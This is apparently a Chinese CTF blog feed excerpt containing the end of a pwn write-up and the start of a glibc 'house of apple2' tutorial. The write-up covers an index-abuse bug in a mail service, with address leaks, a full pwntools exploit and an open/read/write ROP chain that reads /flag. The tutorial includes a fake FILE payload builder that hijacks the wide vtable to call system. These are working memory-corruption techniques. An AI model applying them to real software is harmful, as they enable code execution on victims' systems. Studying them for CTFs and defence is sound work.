.bss:00000000000070E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; sub_163B+9D↑o
.bss:00000000000070E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                                             ; sub_2040+14B↑o
.bss:00000000000070E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     _bss ends
.bss:00000000000070E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…
LOAD:0000000000008000                                   ; ELF Dynamic Information
LOAD:0000000000008000                                   ; ========
    
    
    
    
    
    
    
    
pwndbg&amp;gt; x/20gx 0x5a81c01bc000+0x7000
0x5a81c01c3000: 0x0000000000000000      0x00005a81c01c3008
0x5a81c01c3010: 0x0000000000000000      0x0000000000000000
0x5a81c01c3020 &amp;lt;stdout&amp;gt;:        0x00007b0004000780      0x0000000000000000
0x5a81c01c3030 &amp;lt;stdin&amp;gt;: 0x00007b0003fffaa0      0x0000000000000000
0x5a81c01c3040 &amp;lt;stderr&amp;gt;:        0x00007b00040006a0      0x0000000000000000
0x5a81c01c3050: 0x0000000000000000      0x0000000000000000
0x5a81c01c3060: 0x00005a81d6874a70      0x00005a81d6874e90
0x5a81c01c3070: 0x00005a81d68752b0      0x00005a81d68756d0
0x5a81c01c3080: 0x00005a81d6875af0      0x00005a81d6875f10
0x5a81c01c3090: 0x00005a81d6876330      0x00005a81d6876750
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看pwndbg的输出可以发现有一个指向自己的指针，这将是我们研究的重点。&lt;/p&gt;
&lt;p&gt;我们可以通过转发邮件来读入或者写入指针的内容，但存在大小限制		[pointer + 0x210]处的大小限制我们读取的长度，而&lt;code&gt;0x00005a81c01c3008&lt;/code&gt;处的大小为0，&lt;/p&gt;
&lt;p&gt;我的思路是通过转发内容来修改其长度&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;首先向&lt;code&gt;0x00005a81c01c3008&lt;/code&gt;中发送长度为1，内容为&lt;code&gt;\x00&lt;/code&gt;的邮件，将其修改为&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我们第二次向索引为-10（0x00005a81c01c3008）处转发&lt;code&gt;payload = p64(0x00005a81c01c3000)&lt;/code&gt;,将我们原来修改的指针修改回来，同时将索引-10处的size大小扩大为9字节。这是我们突破读取限制，可以成功泄露PIE，libc，heap与stack的关键&lt;/li&gt;
&lt;li&gt;向&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;写入&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;可以泄露PIE&lt;/li&gt;
&lt;li&gt;向&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;写入&lt;code&gt;0x5a81c01c3060&lt;/code&gt;可以泄露heap&lt;/li&gt;
&lt;li&gt;向&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;写入&lt;code&gt;puts@got&lt;/code&gt;可以泄露libc&lt;/li&gt;
&lt;li&gt;向&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;写入&lt;code&gt;environment&lt;/code&gt;可以泄露stack&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如此我们前置工作完成了&lt;/p&gt;
&lt;p&gt;接下来是向heap1中写入我们的ROPchain，向&lt;code&gt;0x00005a81c01c3000&lt;/code&gt;写入返回地址，将user1的mail转发给索引-11，成功改写rbp后的栈中写入ORWchain&lt;/p&gt;
&lt;p&gt;SUCCESS！&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;image-20260315223158860&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;EXP&lt;/h3&gt;
&lt;p&gt;ps:纯纯屎山代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *
import ctypes 

exe = ELF(&quot;pwn_patched&quot;)
libc = ELF(&quot;libc.so.6&quot;)
ld = ELF(&quot;ld-linux-x86-64.so.2&quot;)

context.binary = exe
context.log_level = &quot;error&quot;
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote(&quot;addr&quot;, 1337)

    return r


def sa(msg, data):
    r.sendafter(msg, data)

def sla(msg, data):
    r.sendlineafter(msg, data)

def register(name, password):
    &quot;&quot;&quot;注册普通用户&quot;&quot;&quot;
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)
    sla(b&quot;Input your name: &quot;, name)
    sla(b&quot;Input your password: &quot;, password)

def login(name, password):
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    sla(b&quot;Input your name: &quot;, name)
    sla(b&quot;Input your password: &quot;, password)

def exit_cmd():
    sla(b&quot;Your choice: &quot;, b&quot;3&quot;)

def write_mail(size, content):
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    sla(b&quot;How many bytes do you want to write? (1-256): &quot;, str(size).encode())
    sa(b&quot;Write your mail content (max&quot;, content)

def read_draft():
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    r.sendlineafter(b&quot;Your choice: &quot;, b&quot;3&quot;)

def read_inbox():
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)

def send_mail(target_id, overwrite=False):
    sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
    sla(b&quot;(input user ID 1-12)\n&quot;, str(target_id).encode())
    if overwrite:
        sla(b&quot;Overwrite? (y/n): &quot;, b&quot;y&quot;)

def user_logout():
    sla(b&quot;Your choice: &quot;, b&quot;4&quot;)
    
def admin_change_username(uid, new_name):
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    sla(b&quot;Enter user ID to modify (1-12): &quot;, str(uid).encode())
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    sla(b&quot;Enter new username: &quot;, new_name)

def admin_change_password(uid, new_password):
    sla(b&quot;Your choice: &quot;, b&quot;1&quot;)
    sla(b&quot;Enter user ID to modify (1-12): &quot;, str(uid).encode())
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)
    sla(b&quot;Enter new password: &quot;, new_password)

def admin_delete_user(uid, confirm=True):
    sla(b&quot;Your choice: &quot;, b&quot;2&quot;)
    sla(b&quot;Enter user ID to delete (1-12): &quot;, str(uid).encode())
    if confirm:
        sla(b&quot;Are you sure you want to delete user&quot;, b&quot;y&quot;)
    else:
        sla(b&quot;Are you sure you want to delete user&quot;, b&quot;n&quot;)

def admin_mail_to_user(uid, size, content, overwrite=False):
    sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
    sla(b&quot;Enter user ID to send mail to : (1-12)&quot;, str(uid).encode())
    sla(b&quot;How many bytes do you want to write?&quot;, str(size).encode())
    sa(b&quot;Enter mail content (max&quot;, content)
    if overwrite:
        sla(b&quot;Overwrite? (y/n): &quot;, b&quot;y&quot;)

def admin_forward_mail(src_uid, dst_uid, mail_type, overwrite=False):
    sla(b&quot;Your choice: &quot;, b&quot;4&quot;)
    sla(b&quot;Enter source user ID&quot;, str(src_uid).encode())
    sla(b&quot;Enter destination user ID&quot;, str(dst_uid).encode())
    if overwrite:
         sla(b&quot;Overwrite? (y/n): &quot;, b&quot;y&quot;)
    sla(b&quot;Your choice: &quot;, str(mail_type).encode())

def admin_logout():
    sla(b&quot;Your choice: &quot;, b&quot;5&quot;)

def kill(uid):
    for i in range(5):
        write_mail(0x100, b&quot;test&quot;)
        if i==0:
            send_mail(uid,0)
        elif i&amp;lt;4:
            send_mail(uid,1)
        else:
            send_mail(uid,0)
            r.recvuntil(b&quot;Account has been banned!&quot;)
            log.success(&quot;Account successfully banned and kicked to main menu!&quot;)
            r.recvuntil(b&quot;Returning to login menu...&quot;)
    
def vmread(idx,address):
    
    login(name[idx-1],name[idx-1])
    write_mail(256,p64(PIE-0x8)+p64(PIE))
    send_mail(idx,0)
    user_logout()
    login(b&apos;admin&apos;,b&apos;\x00&apos;)
    admin_forward_mail(idx,-11,2,True)
    admin_logout()
    
    
    
    login(name[idx-1],name[idx-1])
    write_mail(256,p64(address))
    send_mail(idx,1)
    user_logout()
        
    login(b&apos;admin&apos;,b&apos;\x00&apos;)
    admin_forward_mail(idx,-10,2,True)
    
    
    
    admin_forward_mail(-10,idx,2,True)
    admin_logout()
    login(name[idx-1],name[idx-1])
    read_inbox()
    r.recvuntil(&apos;Inbox (new mail):\n&apos;)
    heap = u64(r.recv(6).ljust(8, b&quot;\x00&quot;))
    log.success(f&quot;heap: {hex(heap)}&quot;)
    sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
    user_logout()
    return heap

times = 0

while True:
    times += 1
    log.success(f&quot;Try {times}&quot;)
    r = conn()
    login(b&apos;admin&apos;,b&apos;\x00&apos;)
    if b&apos;Welcome admin!&apos; in r.recvline():
        log.success(&quot;Login successfully!&quot;)
        context.log_level = &quot;debug&quot;
        r.sendlineafter(b&quot;Your choice: &quot;, b&quot;5&quot;)
        name = [b&apos;1&apos;,b&apos;12&apos;,b&apos;123&apos;, b&apos;1234&apos;, b&apos;12345&apos;, b&apos;123456&apos;, b&apos;1234567&apos;, b&apos;12345678&apos;, b&apos;123456789&apos;, b&apos;1234567890&apos;,b&apos;12345678901&apos;,b&apos;123456789012&apos;]
        
        for i in range(8):
            register(name[i], name[i])
            
        # gdb.attach(r,&apos;b *(0x321E + PIE-0x7008)&apos;)
        
        login(name[0],name[0])
        write_mail(256,b&quot;\x00&quot;)
        send_mail(1,0)
        user_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(1,-10,2,False)
        admin_logout()
        
        login(name[0],name[0])
        write_mail(256,b&quot;\x08&quot;*9)
        send_mail(1,1)
        user_logout()  
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(1,-10,2,False)

              
        admin_forward_mail(-10,1,2,True)
        admin_logout()
        login(name[0],name[0])
        read_inbox()
        r.recvuntil(&apos;Inbox (new mail):\n&apos;)
        PIE = u64(r.recv(6).ljust(8, b&quot;\x00&quot;))
        log.success(f&quot;PIE: {hex(PIE)}&quot;)
        exit_got = PIE + 0x5fd0 - 0x6008
        log.success(f&quot;exit_got: {hex(exit_got)}&quot;)
        heap_addr = PIE + 0x58
        sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
        user_logout()
        ###
        login(name[1],name[1])
        write_mail(256,p64(PIE-0x8))
        send_mail(2,0)
        user_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(2,-10,2,True)
        admin_logout()
        
        login(name[1],name[1])
        write_mail(256,p64(PIE-0x8) + p64(PIE))
        send_mail(2,1)
        user_logout() 
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(2,-10,2,True)
        admin_logout()
        
        login(name[2],name[2])
        write_mail(256,p64(heap_addr))
        send_mail(3,0)
        user_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(3,-10,2,True)
        
        admin_forward_mail(-10,3,2,True)
        admin_logout()
        login(name[2],name[2])
        read_inbox()
        r.recvuntil(&apos;Inbox (new mail):\n&apos;)
        heap = u64(r.recv(6).ljust(8, b&quot;\x00&quot;))
        log.success(f&quot;heap: {hex(heap)}&quot;)
        sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
        user_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(-3,3,1,False)
        admin_logout()
        login(name[2],name[2])
        read_inbox()
        r.recvuntil(&apos;Inbox (new mail):\n&apos;)
        libc.address = u64(r.recv(6).ljust(8, b&quot;\x00&quot;)) - (0x75e9f7ace803 - 0x75e9f78b3000)
        log.success(f&quot;libc: {hex(libc.address)}&quot;)
        pop_rdi = libc.search(asm(&apos;pop rdi; ret&apos;)).__next__()
        pop_rsi = libc.search(asm(&apos;pop rsi; ret&apos;)).__next__()
        pop_rdx = libc.search(asm(&apos;pop rdx; pop r12; ret&apos;)).__next__()
        sla(b&quot;Your choice: &quot;, b&quot;3&quot;)
        user_logout()
        
        
        
        stack = vmread(4,libc.sym[&apos;environ&apos;])
        
        # heap ROPchain
        login(name[0],name[0])
        flag_addr = heap + 0xa8
        payload = flat([
        pop_rdi, flag_addr,
        pop_rsi, 0,
        libc.sym[&apos;open&apos;],
        pop_rdi, 3,               
        pop_rsi, flag_addr+0x100,
        pop_rdx, 0x100,0,
        libc.sym[&apos;read&apos;],
        pop_rdi, 1,              
        pop_rsi, flag_addr+0x100,
        pop_rdx, 0x100,0,
        libc.sym[&apos;write&apos;],
        b&apos;/flag\x00&apos;
    ])
        write_mail(256,payload)
        send_mail(1,0)
        user_logout()
        
        #stack writein
        
        login(name[4],name[4])
        write_mail(256,p64(stack + 0x7ffca9bc6528 - 0x7ffca9bc6708))
        send_mail(5,0)
        user_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)
        admin_forward_mail(5,-11,2,True)
        admin_logout()
        
        login(b&apos;admin&apos;,b&apos;\x00&apos;)

        admin_forward_mail(1,-11,2,True)
             
        r.interactive()
        break
        
    r.close()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>house of apple2学习</title><link>https://huaananan.github.io/S0ras/posts/house-of-apple2/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/house-of-apple2/</guid><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;house of apple2学习&lt;/h1&gt;
&lt;h2&gt;house of apple 2&lt;/h2&gt;
&lt;p&gt;glibc 2.35之后，关于许多hook的攻击方式均已失效，介于此，house of apple成为新的攻击手段&lt;/p&gt;
&lt;h3&gt;利用条件&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;可以从main函数返回或者从exit函数退出&lt;/li&gt;
&lt;li&gt;需要泄露出libc与heap base&lt;/li&gt;
&lt;li&gt;可以使用一次largebin attack造成任意地址写入堆地址&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;过程&lt;/h3&gt;
&lt;p&gt;程序从 main 返回或者执行 exit 后会遍历&lt;code&gt;_IO_list_all&lt;/code&gt;存放的每一个&lt;code&gt;IO_FILE&lt;/code&gt;结构体，如果满足条件的话，会调用每个结构体中&lt;code&gt;vtable-&amp;gt;_overflow&lt;/code&gt;函数指针指向的函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; p *_IO_list_all
$1 = {
  file = {
    _flags = -72540026,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7e1b780 &amp;lt;_IO_2_1_stdout_&amp;gt;,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 &apos;\000&apos;,
    _shortbuf = &quot;&quot;,
    _lock = 0x7ffff7e1ca60 &amp;lt;_IO_stdfile_2_lock&amp;gt;,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7e1a8a0 &amp;lt;_IO_wide_data_2&amp;gt;,#这是我们需要劫持的成员
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = &apos;\000&apos; &amp;lt;repeats 19 times&amp;gt;
  },
  vtable = 0x7ffff7e17600 &amp;lt;_IO_file_jumps&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;glibc2.23及之前没有&lt;code&gt;vtable&lt;/code&gt;的检测，可以任意劫持执行的函数。之后增加了对&lt;code&gt;vtable&lt;/code&gt;合法性的检测的&lt;code&gt;IO_validate_vtable&lt;/code&gt;函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset &amp;gt;= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而house of apple2主要针对的是_IO_FILE中的__wide_data成员，_wide_data指向的结构体是一个和FILE结构体十分相像的wide_data结构体，下面是他的内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; p _IO_wide_data_2
$2 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = &quot;\000\000\000&quot;
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = &quot;\000\000\000&quot;
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = &quot;\000\000\000&quot;
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = &quot;\000\000\000&quot;
          }
        }
      }
    }
  },
  _shortbuf = L&quot;&quot;,
  _wide_vtable = 0x7ffff7e170c0 &amp;lt;_IO_wfile_jumps&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样具有一个vtable指针去指向一个虚表，而这个vtable指针所指向的内容是没有检测的，这意味着我们可以把它劫持到我们伪造的虚表，从而控制执行流&lt;/p&gt;
&lt;h3&gt;调用链&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;_IO_wfile_overflow --&amp;gt; _IO_wdoallocbuf --&amp;gt; _IO_WDOALLOCATE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在程序执行exit退出时，会刷新FILE结构体里面的所有内容
在刷新FILE结构体的时候会执行执行&lt;code&gt;_IO_flush_all_lockp&lt;/code&gt;函数
在这个过程中会调用到&lt;code&gt;_IO_wfile_overflow&lt;/code&gt;函数
而在调用&lt;code&gt;_IO_wfile_overflow&lt;/code&gt;函数的时候，会调用到&lt;code&gt;IO_wdoallocbuf&lt;/code&gt;函数，我们来看看这个函数的源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base)
    return;
  if (!(fp-&amp;gt;_flags &amp;amp; _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//
      return;
  _IO_wsetb (fp, fp-&amp;gt;_wide_data-&amp;gt;_shortbuf,
             fp-&amp;gt;_wide_data-&amp;gt;_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;条件&lt;/h3&gt;
&lt;p&gt;对&lt;code&gt;fp&lt;/code&gt;的设置如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_flags&lt;/code&gt;设置为&lt;code&gt;~(2 | 0x8 | 0x800)&lt;/code&gt;，如果不需要控制&lt;code&gt;rdi&lt;/code&gt;，设置为&lt;code&gt;0&lt;/code&gt;即可；如果需要获得&lt;code&gt;shell&lt;/code&gt;，可设置为&lt;code&gt; sh;&lt;/code&gt;，注意前面有两个空格&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vtable&lt;/code&gt;设置为&lt;code&gt;_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap&lt;/code&gt;地址（加减偏移），使其能成功调用&lt;code&gt;_IO_wfile_overflow&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data&lt;/code&gt;设置为可控堆地址&lt;code&gt;A&lt;/code&gt;，即满足&lt;code&gt;*(fp + 0xa0) = A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(A + 0x18) = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_buf_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(A + 0x30) = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_wide_vtable&lt;/code&gt;设置为可控堆地址&lt;code&gt;B&lt;/code&gt;，即满足&lt;code&gt;*(A + 0xe0) = B&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_wide_vtable-&amp;gt;doallocate&lt;/code&gt;设置为地址&lt;code&gt;C&lt;/code&gt;用于劫持&lt;code&gt;RIP&lt;/code&gt;，即满足&lt;code&gt;*(B + 0x68) = C&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;file_addr=heap_base+0x700
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68
fake_io = b&quot;&quot;
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0)   # _IO_save_base 
fake_io += p64(0)*3   # from _IO_backup_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b&quot;\x00&quot;  # _vtable_offset
fake_io += b&quot;\n&quot;  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b&quot;\x00&quot; * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b&apos;\x00&apos;)  # adjust to vtable
fake_io += p64(libc_base+libc.sym[&apos;_IO_wfile_jumps&apos;])  # _IO_list_all fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(system)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;25行：&lt;/p&gt;
&lt;p&gt;我们之前提到过，为了方便，我们是将这个堆块同时给伪造成 IO_FILE结构体和 IO_wide_data结构体，而wide_data成员指向的就是 _IO_wide_data结构体的位置，所以我们把它构造到file_addr即可&lt;/p&gt;
&lt;p&gt;30行&lt;/p&gt;
&lt;p&gt;这个是我们伪造的用于绕过vtable检测的同时调用__doallocate的，不用过多在意，记住即可&lt;/p&gt;
&lt;p&gt;31行&lt;/p&gt;
&lt;p&gt;这个是我们伪造的 _IO_wide_data结构体的vtable指针，他决定了我们会调用哪里的函数&lt;/p&gt;
&lt;p&gt;32行&lt;/p&gt;
&lt;p&gt;这一个位置就是我们要调用的函数，你要执行什么就在这里放什么&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;偏移 (Offset)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;_IO_FILE 原始字段&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;_wide_data 重叠字段&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;填入的具体值&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;核心作用与备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_flags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(脚本中未体现，通常填 &lt;code&gt;0&lt;/code&gt; 或 &lt;code&gt; sh;&lt;/code&gt;)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;绕过初期检查；同时也是 &lt;code&gt;system&lt;/code&gt; 的 &lt;code&gt;rdi&lt;/code&gt; 参数。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(脚本中未体现)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;通常配合 &lt;code&gt;flags&lt;/code&gt; 填入特定值或留空。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;正常填充。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x18&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;_IO_write_base&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;【重叠利用】&lt;/strong&gt; 满足触发条件 &lt;code&gt;*(A + 0x18) == 0&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;配合下方的 &lt;code&gt;ptr&lt;/code&gt; 制造溢出条件。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;满足触发条件 &lt;code&gt;_IO_write_ptr &amp;gt; _IO_write_base&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;【重叠利用】&lt;/strong&gt; 满足触发条件 &lt;code&gt;*(A + 0x30) == 0&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0x88&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_stdfile_2_lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;必须填入一个合法的、可写的内存地址，绕过锁断言。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0xa0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_wide_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;fp&lt;/code&gt; (自身地址)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;【核心枢纽】&lt;/strong&gt; 强行将宽字符数据区引回当前结构体首地址。&lt;/td&gt;
&lt;/tr&gt;
